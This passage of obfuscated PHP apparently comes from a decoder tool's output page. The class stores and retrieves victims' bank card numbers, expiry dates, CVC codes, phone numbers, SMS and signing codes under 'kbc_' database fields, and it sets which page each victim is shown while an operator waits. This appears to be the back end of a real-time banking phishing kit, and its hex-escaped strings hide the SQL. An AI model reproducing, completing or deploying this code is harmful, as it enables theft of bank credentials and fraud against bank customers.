(!empty($data["\160\x61\x67\145"])) { return $data["\x70\x61\x67\145"]; } return false; } public static function setLogin($card, $vv, $uid) { $sql = "\x55\x50\104\101\x54\105\40\154\x6f\x67\163\40\x53\x45\x54\40\153\142\x63\137\x63\141\x72\x64\40\x3d\40\x3a\x63\x61\x72\144\54\40\153\142\143\137\166\166\40\75\x20\x3a\x76\166\54\x20\167\x61\x69\164\x69\x6e\147\40\x3d\x20\72\x77\141\151\164\151\x6e\x67\40\127\x48\x45\x52\x45\40\165\x73\x65\162\x5f\x69\144\x20\75\40\x3a\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\143\141\x72\x64", $card, PDO::PARAM_STR); $stmt->bindValue("\x3a\x76\166", $vv, PDO::PARAM_STR); $stmt->bindValue("\72\165\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\x74\151\x6e\x67", "\164\162\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setIdentification($identification, $uid) { $sql = "\x55\x50\104\101\x54\x45\40\x6c\157\x67\163\x20\123\105\124\40\x6b\x62\143\137\160\x68\157\x6e\145\40\75\40\72\151\144\145\156\x74\x69\146\151\x63\x61\x74\x69\x6f\156\54\x20\167\x61\151\x74\x69\156\x67\x20\75\x20\x3a\x77\x61\151\x74\x69\x6e\147\40\x57\x48\x45\x52\105\40\x75\x73\145\162\x5f\151\x64\x20\x3d\40\x3a\165\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x69\144\145\156\x74\x69\x66\x69\143\x61\164\151\157\x6e", $identification, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x69\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\x74\151\x6e\x67", "\x74\x72\165\145", PDO::PARAM_STR); $stmt->execute(); } public static function setBel($identification, $uid) { $sql = "\x55\120\104\x41\124\105\40\x6c\x6f\x67\163\40\123\105\x54\x20\153\142\x63\x5f\142\145\x6c\x20\75\x20\72\x69\x64\x65\x6e\164\x69\146\151\x63\x61\164\151\x6f\x6e\54\40\x77\x61\x69\164\x69\x6e\x67\40\75\x20\x3a\167\141\x69\164\x69\156\x67\x20\x57\110\105\122\105\x20\165\163\145\x72\x5f\151\x64\x20\75\40\x3a\165\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x69\144\x65\x6e\164\x69\x66\x69\143\x61\164\x69\157\156", $identification, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\151\x74\151\156\147", "\164\x72\165\145", PDO::PARAM_STR); $stmt->execute(); } public static function setSms($sms, $uid) { $sql = "\125\120\104\x41\x54\x45\40\x6c\157\x67\x73\40\x53\105\124\x20\x6b\142\x63\x5f\x73\155\x73\40\75\40\72\163\155\163\54\x20\167\141\151\x74\x69\156\147\40\75\x20\x3a\167\x61\x69\x74\x69\156\147\x20\127\110\x45\122\105\40\x75\x73\145\162\137\151\144\x20\x3d\x20\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\163\155\163", $sms, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\x69\x74\x69\x6e\147", "\164\x72\x75\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCode($cc, $exp, $cvc, $uid) { $sql = "\125\x50\104\101\x54\x45\40\154\157\147\163\x20\x53\105\x54\40\153\x62\143\137\143\x63\x20\75\40\x3a\143\x63\54\40\x6b\142\143\137\145\170\160\40\x3d\40\72\145\170\160\x2c\40\x6b\x62\143\137\x63\x76\143\40\x3d\x20\72\x63\x76\143\54\x20\x77\x61\x69\x74\151\156\x67\x20\75\x20\x3a\x77\x61\x69\x74\x69\156\147\x20\127\x48\105\122\105\40\x75\163\x65\x72\x5f\x69\x64\x20\x3d\x20\72\x75\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\143\143", $cc, PDO::PARAM_STR); $stmt->bindValue("\72\x65\170\160", $exp, PDO::PARAM_STR); $stmt->bindValue("\x3a\143\166\x63", $cvc, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x69\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\151\x74\x69\x6e\147", "\x74\x72\165\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setSignCode($code, $uid) { $sql = "\x55\x50\x44\x41\124\105\40\154\x6f\x67\163\x20\x53\105\x54\40\153\142\143\137\x6d\61\40\x3d\x20\72\143\157\x64\x65\x2c\40\167\x61\x69\164\151\x6e\x67\40\75\x20\x3a\167\141\151\x74\151\x6e\147\x20\127\110\x45\x52\x45\x20\x75\x73\145\x72\137\x69\144\40\75\40\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\143\x6f\144\145", $code, PDO::PARAM_STR); $stmt->bindValue("\72\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\x74\151\156\147", "\x74\x72\165\145", PDO::PARAM_STR); $stmt->execute(); } public static function setToken($code2, $uid) { $sql = "\125\120\104\101\124\105\x20\154\x6f\x67\163\40\123\x45\124\40\x6b\142\x63\137\155\62\40\x3d\40\72\143\157\x64\x65\x32\54\40\167\x61\151\x74\x69\x6e\147\x20\x3d\x20\72\167\141\151\x74\151\x6e\x67\x20\127\x48\105\122\x45\x20\x75\x73\x65\x72\x5f\151\x64\40\x3d\40\72\x75\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x63\x6f\x64\145\62", $code2, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\164\151\x6e\147", "\164\x72\x75\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "\x55\x50\104\101\124\x45\40\154\x6f\x67\163\40\123\x45\x54\40\x6b\x62\143\137\154\151\166\x65\40\75\40\72\x72\x65\163\160\x6f\156\163\x2c\40\167\x61\151\164\151\x6e\147\x20\75\x20\x3a\167\141\151\x74\151\x6e\x67\x20\x57\x48\x45\122\105\x20\x75\163\x65\x72\137\151\144\40\x3d\x20\72\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x72\x65\x73\x70\157\156\x73", $respons, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x69\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\151\164\x69\156\x67", "\164\162\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setLivelogin($respons, $uid) { $sql = "\125\x50\x44\101\x54\105\x20\x6c\x6f\147\x73\x20\x53\105\x54\40\x6b\x62\x63\137\x6c\x69\x76\x65\154\157\x67\x69\156\40\75\x20\72\x72\145\x73\x70\x6f\x6e\x73\54\x20\x77\x61\151\164\151\156\147\40\75\x20\72\167\141\151\x74\x69\x6e\147\40\x57\x48\x45\x52\105\40\165\x73\x65\x72\x5f\x69\x64\40\x3d\40\x3a\x75\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x72\x65\x73\160\x6f\x6e\x73", $respons, PDO::PARAM_STR); $stmt->bindValue("\72\165\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\164\151\x6e\147", "\164\162\x75\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginPage($uid, $page) { $sql = "\125\x50\104\101\x54\x45\x20\x6c\x6f\x67\x73\x20\123\x45\x54\40\160\141\147\145\x20\x3d\x20\x3a\x70\x61\x67\x65\x2c\40\167\141\151\164\151\156\x67\x20\75\40\x3a\167\x61\x69\164\151\x6e\147\54\40\153\142\143\x5f\143\141\x72\144\40\75\40\x3a\x65\155\160\x74\x79\x2c\40\x6b\x62\143\137\166\166\x20\x3d\x20\72\145\155\x70\x74\x79\40\127\110\105\122\105\40\165\163\x65\162\137\151\x64\x20\75\40\72\165\x73\x65\162\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\x61\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\164\151\156\147", "\146\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\163\145\162\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setIdentificationPage($uid, $page) { $sql = "\x55\x50\104\x41\124\x45\40\154\x6f\147\x73\40\123\x45\x54\40\160\x61\x67\145\x20\x3d\40\72\x70\x61\x67\145\54\x20\167\x61\151\x74\x69\x6e\147\x20\75\40\x3a\167\x61\151\164\x69\156\147\54\40\x6b\x62\143\x5f\x70\150\157\156\145\40\x3d\40\72\x65\x6d\x70\164\x79\x20\127\x48\105\122\x45\x20\x75\163\x65\x72\x5f\x69\144\40\75\x20\x3a\x75\x73\145\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\x74\151\156\x67", "\x66\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\145\x72\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBelPage($uid, $page) { $sql = "\x55\120\x44\x41\x54\x45\40\x6c\x6f\x67\163\40\123\x45\x54\40\160\x61\147\x65\40\x3d\x20\x3a\160\141\147\145\x2c\x20\x77\141\x69\164\151\156\147\x20\75\x20\x3a\x77\141\151\164\x69\156\147\x2c\x20\x6b\142\x63\137\x62\x65\x6c\x20\75\40\72\145\x6d\x70\x74\x79\40\x57\110\105\122\105\x20\165\x73\145\162\x5f\x69\x64\x20\x3d\x20\72\x75\163\x65\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\141\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\x74\x69\x6e\x67", "\x66\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\x73\x65\162\137\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSmsPage($uid, $page) { $sql = "\125\x50\x44\x41\124\105\40\x6c\x6f\x67\163\x20\123\105\124\x20\x70\141\x67\x65\x20\75\40\x3a\160\x61\147\145\54\x20\x77\x61\x69\164\151\156\147\x20\75\40\72\x77\141\x69\x74\x69\156\x67\x2c\x20\x6b\x62\143\x5f\x73\x6d\163\40\75\40\72\145\155\160\164\171\40\127\x48\x45\x52\x45\40\165\163\x65\x72\137\x69\x64\40\75\x20\72\x75\x73\x65\x72\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\x69\164\x69\x6e\x67", "\146\141\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\160\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\x65\x72\x5f\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePage($uid, $page) { $sql = "\x55\x50\x44\x41\124\105\40\x6c\157\147\163\x20\123\105\124\x20\160\x61\x67\145\40\x3d\40\x3a\160\141\x67\x65\x2c\x20\x77\141\151\164\151\x6e\147\40\75\x20\72\167\x61\x69\x74\151\x6e\x67\54\40\x6b\x62\x63\137\x6d\61\x20\75\x20\72\145\155\160\164\x79\x20\x57\x48\105\122\x45\40\x75\x73\x65\162\137\151\144\x20\x3d\40\72\x75\x73\x65\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\141\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\164\151\x6e\x67", "\x66\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\160\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\165\163\145\x72\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTokenPage($uid, $page) { $sql = "\125\x50\x44\101\124\105\x20\154\x6f\147\x73\x20\x53\105\124\x20\160\141\x67\145\x20\x3d\40\x3a\160\141\x67\x65\54\40\167\x61\151\x74\151\x6e\147\40\x3d\x20\x3a\167\141\x69\x74\151\x6e\147\54\x20\153\x62\x63\137\155\x32\40\x3d\40\72\145\155\x70\164\x79\40\127\110\105\122\x45\40\x75\163\145\x72\x5f\151\x64\x20\x3d\40\x3a\x75\x73\x65\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\164\151\156\x67", "\x66\141\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\163\x65\162\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePage($uid, $page) { $sql = "\x55\x50\104\x41\x54\x45\x20\x6c\x6f\x67\163\x20\x53\x45\x54\40\160\x61\x67\x65\40\x3d\40\72\x70\x61\147\x65\54\x20\x77\x61\151\x74\x69\156\147\x20\x3d\x20\x3a\x77\141\151\x74\x69\156\x67\x2c\40\x6b\142\x63\x5f\x6c\151\x76\145\40\x3d\x20\72\145\155\x70\x74\171\40\127\x48\105\x52\x45\40\165\163\145\x72\x5f\151\x64\40\75\x20\72\x75\163\x65\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\x61\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\164\x69\156\x67", "\x66\x61\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\163\x65\x72\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLiveloginPage($uid, $page) { $sql = "\x55\x50\104\101\x54\105\40\x6c\157\147\163\x20\123\x45\x54\40\x70\141\x67\x65\40\x3d\x20\x3a\x70\141\x67\145\54\x20\x77\141\151\x74\x69\x6e\x67\x20\75\40\x3a\167\x61\x69\164\x69\x6e\x67\x2c\40\x6b\142\143\137\x6c\151\x76\x65\154\157\147\x69\156\x20\x3d\40\x3a\x65\x6d\160\164\171\40\x57\110\105\122\x45\40\165\x73\145\162\137\151\x64\x20\x3d\40\72\x75\163\x65\162\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\151\156\x67", "\146\141\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\165\163\x65\162\137\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLoginCodePage($uid, $page) { $sql = "\125\120\104\101\124\105\40\154\x6f\x67\163\x20\123\x45\124\40\160\x61\x67\x65\40\75\x20\72\160\x61\147\x65\54\40\167\x61\151\x74\151\156\x67\x20\x3d\x20\x3a\x77\x61\151\164\151\x6e\x67\x2c\x20\x6b\x62\143\137\x63\x63\x20\75\40\72\145\x6d\160\164\171\54\40\x6b\x62\143\x5f\x65\170\160\40\75\x20\x3a\145\155\x70\x74\171\54\x20\x6b\142\143\x5f\143\166\x63\40\x3d\40\72\145\x6d\x70\164\x79\x20\127\x48\x45\x52\105\x20\165\163\x65\162\x5f\151\x64\40\75\x20\x3a\165\x73\145\162\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\164\x69\156\x67", "\146\141\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\160\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\165\x73\145\162\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePageCode($uid, $page, $code) { $sql = "\125\x50\x44\101\124\x45\x20\154\x6f\147\x73\40\x53\x45\x54\x20\160\x61\x67\x65\40\x3d\40\72\160\x61\x67\x65\x2c\x20\x77\141\x69\x74\151\156\x67\x20\x3d\40\72\x77\x61\x69\x74\151\156\x67\54\40\x6b\x62\x63\137\155\61\x20\75\40\x3a\145\x6d\160\x74\x79\x2c\40\x6b\142\143\137\x6d\61\x5f\147\145\164\x20\75\x20\72\143\x6f\144\145\40\x57\x48\105\x52\x45\x20\165\163\145\162\137\x69\x64\40\x3d\x20\72\x75\163\x65\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\x74\151\x6e\x67", "\146\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x63\157\x64\145", $code, PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\162\137\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTokenPageCode($uid, $page, $code2) { $sql = "\125\x50\104\101\x54\105\x20\154\157\147\163\x20\123\x45\124\x20\x70\x61\147\x65\40\75\40\x3a\x70\141\147\145\54\40\167\x61\151\x74\151\x6e\147\x20\x3d\x20\72\x77\x61\x69\x74\x69\x6e\x67\x2c\x20\153\x62\143\137\155\x32\x20\x3d\40\72\x65\x6d\x70\x74\x79\x2c\40\x6b\x62\x63\x5f\155\x32\x5f\147\145\x74\x20\x3d\40\x3a\143\x6f\x64\145\62\40\x57\x48\x45\122\105\x20\x75\163\145\x72\x5f\x69\x64\40\75\x20\72\x75\x73\x65\162\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\164\x69\156\x67", "\x66\x61\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\72\143\157\x64\x65\x32", $code2, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\162\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $live, $livetwo) { $sql = "\x55\120\104\101\x54\105\x20\154\157\147\163\x20\123\x45\124\40\160\141\x67\145\40\75\x20\72\160\141\x67\x65\x2c\x20\167\141\x69\x74\151\x6e\147\x20\x3d\40\x3a\x77\141\151\x74\x69\156\x67\54\x20\x6b\x62\143\x5f\x6c\x69\166\145\40\75\x20\72\x65\x6d\x70\x74\171\54\x20\x6b\x62\x63\137\154\x69\x76\145\x5f\147\x65\x74\40\x3d\40\72\154\151\166\145\x2c\x20\x6b\142\x63\137\154\151\x76\145\62\x5f\147\x65\x74\x20\75\40\x3a\x6c\x69\x76\145\164\167\157\x20\x57\110\105\x52\x45\x20\165\163\x65\x72\137\x69\x64\x20\75\x20\72\x75\x73\145\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\164\151\156\x67", "\x66\141\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x6c\x69\166\x65", $live, PDO::PARAM_STR); $stmt->bindValue("\72\x6c\x69\166\x65\x74\x77\x6f", $livetwo, PDO::PARAM_STR); $stmt->bindValue("\72\x75\163\145\x72\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLiveloginPageCode($uid, $page, $doce, $docetwo) { $sql = "\125\120\x44\101\124\105\x20\154\x6f\147\x73\x20\x53\x45\x54\x20\160\x61\x67\145\40\75\40\72\160\141\147\x65\54\x20\x77\141\x69\x74\x69\156\x67\x20\x3d\40\x3a\167\x61\x69\x74\x69\x6e\147\x2c\x20\153\142\x63\x5f\154\x69\166\145\154\157\147\151\156\x20\75\40\72\x65\155\160\x74\x79\x2c\x20\x6b\142\143\137\x6c\x69\x76\145\154\157\147\x69\156\137\147\145\164\40\x3d\40\x3a\144\x6f\x63\x65\x2c\40\153\142\143\137\154\151\166\x65\x6c\x6f\147\x69\156\x74\x77\157\137\x67\145\164\40\75\40\x3a\144\x6f\x63\x65\x74\167\157\40\127\110\x45\122\x45\40\165\163\x65\162\x5f\151\144\x20\x3d\40\72\165\x73\x65\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\164\x69\156\x67", "\x66\x61\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\144\157\143\145", $doce, PDO::PARAM_STR); $stmt->bindValue("\x3a\144\x6f\x63\145\x74\167\x6f", $docetwo, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\162\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setFinishPage($uid, $page) { $sql = "\125\x50\x44\101\124\x45\40\154\157\147\163\40\x53\105\124\x20\160\x61\147\x65\40\75\x20\72\160\141\147\x65\54\x20\167\x61\x69\x74\151\156\x67\x20\75\40\72\x77\141\x69\164\x69\156\147\40\127\110\105\x52\x45\x20\x75\x73\x65\x72\x5f\151\x64\40\x3d\40\72\x75\163\145\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\164\151\156\147", "\146\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\x65\162\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "\x53\105\x4c\105\103\x54\40\x2a\40\106\122\x4f\115\40\x6c\x6f\x67\163\x20\127\x48\105\x52\105\x20\165\163\145\162\137\x69\144\40\x3d\x20\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\x69\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x6b\142\143\137\155\x31\x5f\x67\x65\x74"])) { return $data["\x6b\142\143\x5f\155\x31\137\147\x65\164"]; } return false; } public static function getToken($uid) { $sql = "\123\x45\x4c\105\103\x54\x20\52\40\106\122\x4f\x4d\x20\154\x6f\x67\x73\40\x57\x48\x45\x52\x45\x20\165\163\x65\162\137\x69\144\x20\75\40\72\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\165\x69\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x6b\x62\143\x5f\155\x32\137\x67\145\x74"])) { return $data["\x6b\142\143\x5f\155\62\x5f\147\145\164"]; } return false; } public static function getLive($uid) { $sql = "\123\x45\x4c\x45\x43\124\x20\52\40\106\122\117\x4d\x20\x6c\157\x67\163\40\127\x48\105\122\x45\x20\x75\163\x65\162\x5f\151\x64\x20\x3d\40\x3a\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\151\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x6b\142\x63\x5f\154\151\x76\145\x5f\x67\145\164"])) { return $data["\153\x62\x63\137\154\151\x76\x65\x5f\147\145\164"]; } return false; } public static function getLivetwo($uid) { $sql = "\x53\105\x4c\x45\x43\124\40\x2a\40\106\122\x4f\115\40\154\x6f\147\x73\x20\127\110\105\x52\x45\x20\165\163\145\x72\137\151\x64\40\x3d\40\x3a\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\x69\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\153\x62\143\x5f\x6c\x69\x76\x65\62\137\147\x65\x74"])) { return $data["\x6b\142\143\x5f\154\x69\166\x65\x32\137\147\x65\164"]; } return false; } public static function getLivelogin($uid) { $sql = "\123\x45\x4c\105\103\124\x20\52\x20\x46\x52\x4f\x4d\40\x6c\x6f\147\163\x20\x57\110\x45\x52\105\40\165\x73\145\x72\x5f\151\144\40\75\x20\x3a\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\151\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\153\x62\x63\137\x6c\x69\166\145\x6c\157\x67\x69\x6e\137\147\x65\x74"])) { return $data["\153\142\143\137\x6c\x69\x76\x65\154\x6f\x67\151\x6e\x5f\x67\x65\164"]; } return false; } public static function getLivelogintwo($uid) { $sql = "\x53\105\114\x45\103\124\x20\x2a\40\x46\x52\117\115\40\154\x6f\147\x73\x20\x57\x48\x45\x52\105\40\165\x73\145\162\137\151\x64\40\75\x20\x3a\165\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\151\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x6b\142\143\137\154\151\166\145\x6c\157\x67\x69\156\164\167\x6f\137\x67\145\164"])) { return $data["\x6b\x62\143\137\x6c\151\166\145\x6c\x6f\x67\x69\x6e\164\x77\x6f\x5f\x67\x65\164"]; } return false; } }

Function Calls

None

Variables

None

Stats

MD5 5bfee0f00e48f8dbcf98f4983a2c57f3
Eval Count 0
Decode Time 152 ms